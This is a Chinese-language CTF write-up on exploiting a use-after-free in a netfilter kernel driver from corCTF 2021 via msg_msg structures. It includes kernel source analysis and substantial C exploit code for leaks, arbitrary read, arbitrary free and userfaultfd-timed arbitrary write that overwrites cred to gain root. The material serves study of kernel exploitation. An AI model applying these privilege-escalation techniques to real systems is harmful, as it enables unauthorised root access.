题目及exp下载 —— https://github.com/bsauce/CTF/tree/master/corCTF%202021
介绍：本文示例是来自corCTF 2021中 的两个内核题，由 BitsByWill 和 D3v17 所出。针对UAF漏洞，漏洞对象从kmalloc-64到kmalloc-4096，都能利用 msg_msg 结构实现任意写。本驱动是基于NetFilter所写，有两个模式，简单模式（对应题目Fire_of_Salvation）和复杂模式（对应题目Wall_of_Perdition），所用的内核bzImage相同。二者的区别是，简单模式下，rule_t 规则结构包含长度 0x800 的字符串成员 rule_t->desc，漏洞对象位于kmalloc-4k，复杂模式下rule_t 规则 也即漏洞对象位于kmalloc-64。
总结：如果UAF的漏洞对象是kmalloc-4096，就很容易构造重叠的漏洞对象和msg_msg结构消息块（都位于kmalloc-4096），篡改msg_msg->m_ts和msg_msg->next实现任意地址读写。
如果UAF的漏洞对象小于kmalloc-4096，例如kmalloc-64，则可以先构造重叠的漏洞对象和msg_msg结构消息块（都位于kmalloc-64），篡改msg_msg->m_ts和msg_msg->next实现越界读和任意地址读；然后篡改msg_msg->next实现任意地址释放，再构造重叠的消息块（位于kmalloc-4096的msg_msgseg消息和msg_msg消息），利用userfault用户页错误处理控制消息写入的时机，篡改msg_msg->next指针指向cred地址，实现任意地址写。
注意，调用msgrcv()读取内核数据时，如果带上MSG_COPY标志，就能避免内核unlink消息，以避免第一次泄露地址时未正确伪造msg_msg->m_list.next和msg_msg->m_list.prev导致unlink时崩溃。
缓解机制：开启 CONFIG_SLAB_FREELIST_RANDOM 机制后，就能阻止该利用，但其实 CONFIG_SLAB_FREELIST_RANDOM 只能降低第2题泄露地址的成功率，但是泄露失败后程序会停止，泄露成功后程序会提权成功，所以多试几次就能提权成功了。
1. 漏洞分析
代码分析：共5个函数功能，用户通过传入 user_rule_t 结构来创建路由规则并存入 rule_t 结构中，多条进出处理规则分别存入 firewall_rules_in 和 firewall_rules_out 全局数组中（每个数组最多存0x80条规则）。
-
firewall_add_rule()——添加一条规则。rule_t规则结构如下。typedef struct { char iface[16]; // 设备名 char name[16]; // 规则名 uint32_t ip; uint32_t netmask; uint16_t proto; // 只能是 TCP 或 UDP uint16_t port; uint8_t action; // 只能是 DROP 或 ACCEPT uint8_t is_duplicated; #ifdef EASY_MODE char desc[DESC_MAX]; #endif } rule_t; -
firewall_delete_rule()——释放规则，并将全局数组上对应的指针清0。 -
firewall_show_rule()——未实现。 -
firewall_edit_rule()——编辑规则。 -
firewall_dup_rule()——复制规则，将firewall_rules_in指针复制到firewall_rules_out数组，或者相反。每条规则只能复制一次，通过rule_t->is_duplicated来记录是否被复制过。漏洞就在这里，可以先复制规则，再释放规则，导致UAF或double-free，只能写不能读，而且只能UAF写 0x28 – 0x30 字节。 -
process_rule()处理规则：（本函数与漏洞利用无关）nf_register_net_hook()——NetFilter hooks注册钩子函数。nf_hook_ops是注册的钩子函数的核心结构。本驱动的钩子点是NF_INET_PRE_ROUTING和NF_INET_POST_ROUTING，应该是分别在在路由前和路由后执行钩子函数firewall_inbound_hook()和firewall_outbound_hook()函数。钩子函数firewall_inbound_hook()和firewall_outbound_hook()函数在收到进出的sk_buff数据后，分别按照进出规则调用process_rule()函数来处理数据。- 首先设备名
skb->dev->name和rule_t->ifaces要匹配； - 如果是进数据，则源ip所属的子网要匹配；如果是出数据，则目的ip所属的子网要匹配；
- 如果是TCP数据包，
rule_t->port要和目标端口匹配，rule_t->action要为NF_DROP或NF_ACCEPT接收状态，打印信息。 - 如果是UDP数据包，
rule_t->port要和目标端口匹配，rule_t->action要为NF_DROP或NF_ACCEPT接收状态，打印信息。
- 首先设备名
漏洞：只能UAF写 0x28 – 0x30 字节，不能UAF读，因为没有实现firewall_show_rule()功能。
保护机制：SMAP/SMEP/KPTI, FG-KASLR, SLAB_RANDOM, SLAB_HARDENED, STATIC_USERMODE_HELPER。使用SLAB分配器。可以从给出的配置文件中看出，允许userfaultfd 调用、hardened_usercopy、CHECKPOINT_RESTORE。
利用局限：
- 由于使用了SLAB分配器，所以chunk上没有 freelist 指针（即便有freelist指针，也不在前0x30用户可控的区域，可能内核把freelist指针后移了）；
-
FG-KASLR机制会阻碍你覆盖内核结构上的函数指针，例如sk_buff结构中的destructor arg回调函数指针，多数不在.text前面的gadget受到影响；ROP还能用，不过必须先任意读ksymtab泄露所在函数的地址； - 设置
CONFIG_STATIC_USERMODEHELPER，使得覆盖modprobe_path或core_pattern的方法不再适用；physmap喷射可用，但是不稳定；综上，绕过SMAP最直接的方法是构造任意读，来读取task双链表，找到当前的task并覆盖cred。
2. 内核IPC——msgsnd()与msgrcv()源码分析
介绍：内核提供了两个syscall来进行IPC通信， msgsnd() 和 msgrcv()，内核消息包含两个部分，消息头 msg_msg 结构和紧跟的消息数据。长度从kmalloc-64 到 kmalloc-4096。消息头 msg_msg 结构如下所示。
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; // security指针总为0，因为未开启SELinux
/* the actual message follows immediately */
};
2.1 msgsnd() 数据发送
总体流程：当调用 msgsnd() 来发送消息时，调用 msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg() 来分配消息头和消息数据，然后调用 load_msg() -> copy_from_user() 来将用户数据拷贝进内核。
示例：例如，如果想要发送一个包含 0x1fc8 个 A的消息，用户态首先调用msgget() 创建消息队列，然后调用 msgsnd()发送数据：
[...]
struct msgbuf
{
long mtype;
char mtext[0x1fc8];
} msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
[...]
创建消息： do_msgsnd() -> load_msg() -> alloc_msg() 。总结，如果消息长度超过0xfd0，则分段存储，采用单链表连接，第1个称为消息头，用 msg_msg 结构存储；第2、3个称为segment，用 msg_msgseg 结构存储。消息的最大长度由 /proc/sys/kernel/msgmax 确定， 默认大小为 8192 字节，所以最多链接3个成员。
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG); // [1] len 是用户提供的数据size，本例中为0x1fc8。 DATALEN_MSG = ((size_t)PAGE_SIZE - sizeof(struct msg_msg)) = 0x1000-0x30 = 0xfd0。 本例中 alen = 0xfd0
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // [2] 这里分配 0x1000 堆块，对应 kmalloc-4096
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen; // [3] 待分配的size，继续分配，用单链表存起来。 len = 0x1fc8-0xfd0 = 0xff8
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG); // [4] DATALEN_SEG = ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg)) = 0x1000-0x8 = 0xff8。 alen = 0xff8
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [5] 还是分配 0x1000，位于kmalloc-4096
if (seg == NULL)
goto out_err;
*pseg = seg; // [6] 单链表串起来
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
拷贝消息： do_msgsnd() -> load_msg() -> copy_from_user() 。将消息从用户空间拷贝到内核空间。
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); // [1]
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen)) // [2] 从用户态拷贝数据，0xfd0字节
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen)) // [3] 剩下的拷贝到其他segment，0xff8字节
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
内核消息结构：
2.2 msgsrv() 数据接收
总体流程： msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。 调用 find_msg() 来定位正确的消息，将消息从队列中unlink，再调用 do_msg_fill() -> store_msg() 来将内核数据拷贝到用户空间，最后调用 free_msg() 释放消息。
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{ // 注意：msg_handler 参数实际指向 do_msg_fill() 函数
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
... ...
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); // [4]
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);
rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
... ...
for (;;) {
struct msg_receiver msr_d;
msg = ERR_PTR(-EACCES);
if (ipcperms(ns, &msq->q_perm, S_IRUGO))
goto out_unlock1;
ipc_lock_object(&msq->q_perm);
/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
msg = ERR_PTR(-EIDRM);
goto out_unlock0;
}
msg = find_msg(msq, &msgtyp, mode); // [1] 调用 find_msg() 来定位正确的消息。之后检查并unlink消息。
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); // [5] 若设置了MSG_COPY，则跳出循环，避免unlink
goto out_unlock0;
}
list_del(&msg->m_list);
... ...
}
out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}
bufsz = msg_handler(buf, msg, bufsz); // [2] 调用 do_msg_fill() 把消息从内核拷贝到用户。具体代码如下所示
free_msg(msg); // [3] 拷贝完成后，释放消息。
return bufsz;
}
消息拷贝： do_msg_fill() -> store_msg() 。和创建消息的过程一样，先拷贝消息头（msg_msg结构对应的数据），再拷贝segment（msg_msgseg结构对应的数据）。
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;
if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;
msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz; // [1] 检查请求的数据长度是否大于 msg->m_ts ，超过则只能获取 msg->m_ts 长度的数据（为了避免越界读）。本例中，msgsz 为0x1fc8字节，
if (store_msg(msgp->mtext, msg, msgsz)) // [2] 最后调用 store_msg()将 msgsz也即0x1fc8字节拷贝到用户空间，代码如下所示
return -EFAULT;
return msgsz;
}
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG); // [1] 和创建消息的过程一样，alen=0xfd0
if (copy_to_user(dest, msg + 1, alen)) // [2] 先拷贝消息头
return -1;
for (seg = msg->next; seg != NULL; seg = seg->next) { // [3] 遍历其他segment
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG); // [4] 本例中为0xff8
if (copy_to_user(dest, seg + 1, alen)) // [5] 再拷贝segment
return -1;
}
return 0;
}
消息释放：store_msg() 。先释放消息头，再释放segment。
void free_msg(struct msg_msg *msg)
{
struct msg_msgseg *seg;
security_msg_msg_free(msg);
seg = msg->next;
kfree(msg); // [1] 释放 msg_msg
while (seg != NULL) { // [2] 释放 msg_msgseg
struct msg_msgseg *tmp = seg->next;
cond_resched();
kfree(seg); // [3]
seg = tmp;
}
}
MSG_COPY：见 do_msgrcv() 中 [4]处，如果用flag MSG_COPY来调用 msgrcv() （内核编译时需配置CONFIG_CHECKPOINT_RESTORE选项，默认已配置），就会调用 prepare_copy() 分配临时消息，并调用 copy_msg() 将请求的数据拷贝到该临时消息（见 do_msgrcv() 中 [5]处）。在将消息拷贝到用户空间之后，原始消息会被保留，不会从队列中unlink，然后调用free_msg()删除该临时消息，这对于利用很重要。
为什么？因为本漏洞在第一次UAF的时候，没有泄露正确地址，所以会破坏msg_msg->m_list双链表指针，unlink会触发崩溃。本题的UAF会破坏前16字节，如果某漏洞可以跳过前16字节，是否不需要注意这一点？
void *memdump = malloc(0x1fc8);
msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
3. Fire of Salvation 简单模式利用
特点：大小为kmalloc-4096的UAF。
任意读：hardened_usercopy 机制不允许修改size越界读写。可利用UAF篡改msg_msg->m_ts和msg_msg->next（指向的下一个segment前8字节必须为null，避免遍历消息时出现访存崩溃）。
任意写：创建一个需要多次分配堆块的消息（>0xfd0），在拷贝消息头（msg_msg结构）的时候利用userfault进行挂起，然后利用UAF篡改msg_msg->next指向目标地址，目标地址的前8字节必须为NULL（避免崩溃），解除挂起后就能实现任意写。任意写的原理如下图所示：
3.1 步骤1——泄露内核基址
泄露内核基址：由于开启了FG-KASLR，只能喷射大量shm_file_data对象（kmalloc-32）来泄露地址，因为FG-KASLR是在boot时对函数和某些节进行二次随机化，而shm_file_data->ns这种指向全局结构的指针不会被二次随机化。我们可以传入消息来分配1个kmalloc-4096的消息头和1个kmalloc-32的segment，然后利用UAF改大msg_msg->m_ts，调用msgrcv()读内存，这样就能越界读取多个kmalloc-32结构，泄露地址。注意，需使用MSG_COPY flag避免unlink时崩溃。原理如下图所示：
3.2 步骤2——泄露cred地址
泄露cred地址：再次利用任意读，从init_task开始找到当前进程的task_struct（也可以调用 prctl SET_NAME来设置comm成员，以此标志来暴搜，详见 Google CTF Quals 2021 Fullchain writeup）。本题提供了vmlinux符号信息，task_struct->tasks偏移是0x398，该位置的前8字节为null，可以当作1个segment；real_cred和cred指针在偏移0x538和0x540处，前面8字节也是null。利用UAF改大msg_msg->m_ts，将msg_msg->next改为&task_struct+0x298-8，调用msgrcv()读内存。
3.3 步骤3——篡改cred & real_cred指针
篡改cred & real_cred指针：根据pid找到当前进程后，利用UAF篡改msg_msg->next指向&real_cred-0x8，调用msgsnd()写内存，即可将real_cred和cred指针替换为init_cred即可提权。
4. Wall of Perdition 复杂模式利用
特点：大小为kmalloc-64的UAF。
现有的任意写、任意释放技术： Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介绍了如何伪造msg_msg->m_ts来实现任意写，也通过msg_msg->security指针实现了任意释放，但是本题关闭了SELinux，则msg_msg->security指针总是指向NULL，本题不适用。
4.1 步骤1——越界读泄露内核基址、msg_msg->m_list.next / prev
创建2个消息队列：
[...]
void send_msg(int qid, int size, int c)
{
struct msgbuf
{
long mtype;
char mtext[size - 0x30];
} msg;
msg.mtype = 1;
memset(msg.mtext, c, sizeof(msg.mtext));
if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
{
perror("msgsnd");
exit(1);
}
}
[...]
// [1] 先调用msgget()创建两个队列，第一个标记为QID #0，第二个标记为QID #1。
if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}
if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}
// [2] 调用 add_rule() 向firewall_rules_in添加inbound规则，再调用 duplicate_rule() 复制到 firewall_rule_out，释放后还能从 firewall_rule_out[1] 访问，触发UAF
add_rule(0, buff, INBOUND);
duplicate_rule(0, INBOUND);
delete_rule(0, INBOUND);
send_msg(qid[0], 0x40, 'A'); // [3] 调用send_msg()，也即对msgsnd()的包装函数，分配3个消息。第1个大小为0x40, 位于队列 QID #0, 由于和刚刚释放的rule位于同一个kmalloc-64，所以能修改该消息的msg_msg头结构。
send_msg(qid[1], 0x40, 'B'); // [4] 第2个消息在队列QID #1中，大小为0x40字节
send_msg(qid[1], 0x1ff8, 0); // [5] 第3个消息在队列QID #1中，大小为0x1ff8字节
[...]
消息布局： QID #0 消息队列——橘色部分是第1个消息，堆块大小0x40，可通过 edit_rule() 完全控制。 QID #1消息队列——第1个消息，堆块大小为0x40，其 msg_msg->m_list.prev 指向消息队列 QID #1，m_list.next指向第2个消息，占两个kmalloc-4096。
泄露内存：利用UAF改大 QID #0 队列的消息msg_msg->m_ts，调用msgrcv()越界读取 QID #0 队列的第1个消息，m_list.next （指向下一个消息 kmalloc-4096）和 m_list.prev （指向QID #1队列），最后我们还能泄露 sysfs_bin_kfops_ro，由于该符号位于内核的data节，所以不受FG-KASLR保护的影响，所以可以用来计算内核基址。
[...]
void *recv_msg(int qid, size_t size)
{
void *memdump = malloc(size);
if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)
{
perror("msgrcv");
return NULL;
}
return memdump;
}
[...]
uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite)
{
struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
msg->m_type = 0;
msg->m_ts = size; // [2] 调用edit_rule()覆盖目标对象的 m_ts 域
if (overwrite)
{
msg->next = target;
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);
}
else
{
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3]
}
free(msg);
return recv_msg(qid[0], size); // [4] 调用 recv_msg(),也即msgrcv()的包装函数,注意使用 MSG_COPY flag, 就能泄露内存。由于我们破坏了 m_list.next 和 m_list.prev 指针，所以如果不使用 MSG_COPY flag 的话，do_msgrcv() 就会 unlink message，导致出错崩溃。
}
[...]
uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 调用 arb_read(), 参数0x2000
[...]
4.2 步骤2——越界读到任意读，泄露当前进程的cred地址
思路：根据sysfs_bin_kfops_ro 地址可计算出内核基址，得到init_task的地址，即系统执行的第一个进程的 task_struct 结构。 task_struct 中有3个成员很重要：tasks 包含指向前后 task_struct的指针（偏移0x298），pid 进程号（偏移0x398），cred 进程的凭证（偏移0x540）。
exp中，我们调用 find_current_task() 来遍历所有的task [1]，从init_task开始找到当前进程的task_struct [2]，find_current_task()多次调用 arb_read()，利用UAF篡改msg_msg->m_ts 和msg_msg->next指针，调用msgrcv()泄露出指向下一个task的tasks->next指针 [3] 和 PID [4]，然后直到找到当前task。
[...]
uint64_t find_current_task(uint64_t init_task)
{
pid_t pid, next_task_pid;
uint64_t next_task;
pid = getpid();
printf("[+] Current task PID: %d\n", pid);
puts("[*] Traversing tasks...");
leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9;
next_task = leak[0x298/8] - 0x298;
leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;
next_task_pid = leak[0x398/8];
while (next_task_pid != pid) // [2]
{
next_task = leak[0x298/8] - 0x298; // [3]
leak = arb_read(0, next_task + 8, 0x2000, 1) + 0x1f9;
next_task_pid = leak[0x398/8]; // [4]
}
puts("[+] Current task found!");
return next_task;
}
[...]
puts("[*] Locating current task address...");
uint64_t current_task = find_current_task(init_task); // [1]
printf("[+] Leaked current task address: 0x%lx\n", current_task);
[...]
具体：篡改 msg_msg->m_ts 为0x2000，篡改 msg_msg->next指针指向 task_struct结构（注意头8字节为null），遍历双链表直到读取到当前进程的task_struct。同理泄露当前进程的cred地址。
[...]
leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;
cred_struct = leak[0x540/8];
printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);
[...]
4.3 步骤3——任意释放
目标：目前已获取当前进程的task地址和cred地址，需构造任意写，但前提需要构造任意释放。根本目标是构造重叠的kmalloc-4096堆块，让其既充当一个消息的msg_msgseg segment，又充当另一个消息的msg_msg，这样就能覆写msg_msg->next指针构造任意写。 问题，为什么不构造重叠的kmalloc-64？因为kmalloc-64作为msg_msg的话不可能有segment，不能伪造它的msg_msg->next来任意写；且传入的长度已确定，无法写segment来任意写。
释放消息：首先释放QID #1中的消息，两次调用msgrcv()（不带MSG_COPY flag）。
- （1）第一次调用
msgrcv()，内核释放QID #1中第1个消息-kmalloc-64； - （2）第二次调用
msgrcv()，内核释放第2个消息-kmalloc-4096和相应的segment（也在kmalloc-4096中）。
[...]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2]
[...]
内存布局如下：
kmalloc-4096释放顺序：注意，前面的exp中，我们泄露了kmalloc-4096的地址（QID #1 中消息2的msg_msg地址），前面我们第2次调用msgrcv()时，内核调用 do_msgrcv() -> free_msg() 先释放 kmalloc-4096的msg_msg，再释放kmalloc-4096的segment，由于后进先出，分配新的消息时会先获取segment对应的kmalloc-4096，所以新的msg_msg占据之前的segment，新的segment占据之前的msg_msg。
申请消息-QID #2：子线程创建新消息，首先创建队列QID #2 [2]，再调用msgsnd()创建0x1ff8大小的消息（0x30的头和0x1fc8的数据），内核中会创建0x30+0xfd0大小的msg_msg和0x8+0xff8大小的msg_msgseg。
用户传入数据位于page_1 + PAGE_SIZE - 0x10，使用 userfaultfd 来监视 page_1 + PAGE_SIZE 位置，等待页错误，第2个页错误。当load_msg()调用copy_from_user()拷贝时触发页错误，结果如下图所示，现在我们已知新的segment地址（QID #1 中消息2的msg_msg地址），原因已经阐明。QID #2 布局如下图所示：
[...]
void *allocate_msg1(void *_)
{
printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10);
if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #2
{
perror("msgget");
exit(1);
}
memset(page_1, 0, PAGE_SIZE);
((unsigned long *)(page_1))[0xff0 / 8] = 1;
if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 调用msgsnd() 创建0x1ff8大小的消息，新的`msg_msg`占据之前的segment，新的segment占据之前的`msg_msg`。
{
puts("msgsend failed!");
perror("msgsnd");
exit(1);
}
puts("[Thread 1] Message sent, *next overwritten!");
}
[...]
pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子线程创建新消息
[...]
任意释放：调用arb_free()，伪造QID #0队列中的消息结构，并释放 QID #0 中的消息。
[...]
void arb_free(int idx, uint64_t target)
{
struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
void *memdump = malloc(0x2000);
msg->m_list.next = queue; // [2] 指向 QID #1
msg->m_list.prev = queue;
msg->m_type = 1;
msg->m_ts = 0x10;
msg->next = target; // [3] 下一个segment指向QID #1队列中的segment
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); // [4] 修改 QID #0 中的消息头结构
puts("[*] Triggering arb free...");
msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 释放 QID #0 中的消息
puts("[+] Target freed!");
free(memdump);
free(msg);
}
[...]
arb_free(0, large_msg); // [1]
[...]
-
[2]：我们用之前泄露的 QID #1 队列的地址，来修复 QID #0 中的msg_msg->m_list.next和msg_msg->m_list.prev，这样我们就能调用msgrcv()释放 QID #0 中的消息，不用MSG_COPYflag 也能避免内核unlink时崩溃。 -
[3]：使msg_msg->next指向之前泄露的message slab，也就是现在的QID #2消息的segment ； -
[4]：调用edit_rule()修改msg_msg头结构后，堆布局如下： -
[5]：不带MSG_COPYflag 调用msgrcv()，内核将会调用free_msg()释放 QID #0 中的消息和 new segment。
4.4 步骤4——任意写，篡改cred
思路：现在 QID #2中的msg_msg->next指向一个空闲的kmalloc-4096 （上一步利用任意释放原语所释放）。现在分配新消息占据该kmalloc-4096，即可通过QID #2篡改新消息的msg_msg->next实现任意写。
[...]
void *allocate_msg2(void *_)
{
printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 + PAGE_SIZE - 0x10);
if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #3
{
perror("msgget");
exit(1);
}
memset(page_2, 0, PAGE_SIZE);
((unsigned long *)(page_2))[0xff0 / 8] = 1;
if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字节的消息（0x30头 + 0xff8数据），内核中会分配1个 `0x30+0xfd0` 的消息块（和之前任意释放的segment位于同一块）和1个`0x8+0x28`字节的segment（位于`kmalloc-64`）。
{
puts("msgsend failed!");
perror("msgsnd");
exit(1);
}
puts("[Thread 2] Message sent, target overwritten!");
}
[...]
pthread_create(&tid[3], NULL, allocate_msg2, NULL); // [1] 创建子线程执行allocate_msg2()
[...]
-
[2]：创建队列 QID #3。 -
[3]：调用msgsend()分配0x1028字节的消息（0x30头 + 0xff8数据），内核中会分配1个0x30+0xfd0的消息块（和之前任意释放的segment位于同一块）和1个0x8+0x28字节的segment（位于kmalloc-64）。 - 用户传入数据位于
page_2 + PAGE_SIZE - 0x10，使用 userfaultfd 来监视page_2 + PAGE_SIZE位置，等待页错误，第2个页错误。触发页错误时，堆布局如下：
篡改QID #3 中msg_msg->next指针：释放第1个错误处理，将QID #3中的msg_msg->next指针，篡改为当前进程的cred-0x8（因为segment的头8字节必须为null，避免load_msg()访问next segment时崩溃）。
[...]
if (page_fault_location == page_1 + PAGE_SIZE)
{
printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location);
memset(buff, 0, PAGE_SIZE);
puts("[PFH 1] Releasing faulting thread");
struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);
msg->m_type = 0x1;
msg->m_ts = 0x1000;
msg->next = (uint64_t)(cred_struct - 0x8); // [1] 将 QID #3 中的 msg_msg->next 指针，篡改为当前进程的 cred-0x8
ufd_copy.dst = (unsigned long)(page_fault_location);
ufd_copy.src = (unsigned long)(&buff);
ufd_copy.len = PAGE_SIZE;
ufd_copy.mode = 0;
ufd_copy.copy = 0;
for (;;)
{
if (release_pfh_1)
{
if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
{
perror("ioctl(UFFDIO_COPY)");
exit(1);
}
puts("[PFH 1] Faulting thread released");
break;
}
}
}
[...]
篡改cred：释放第2个错误处理，将当前进程的cred覆盖为0，最终提权。
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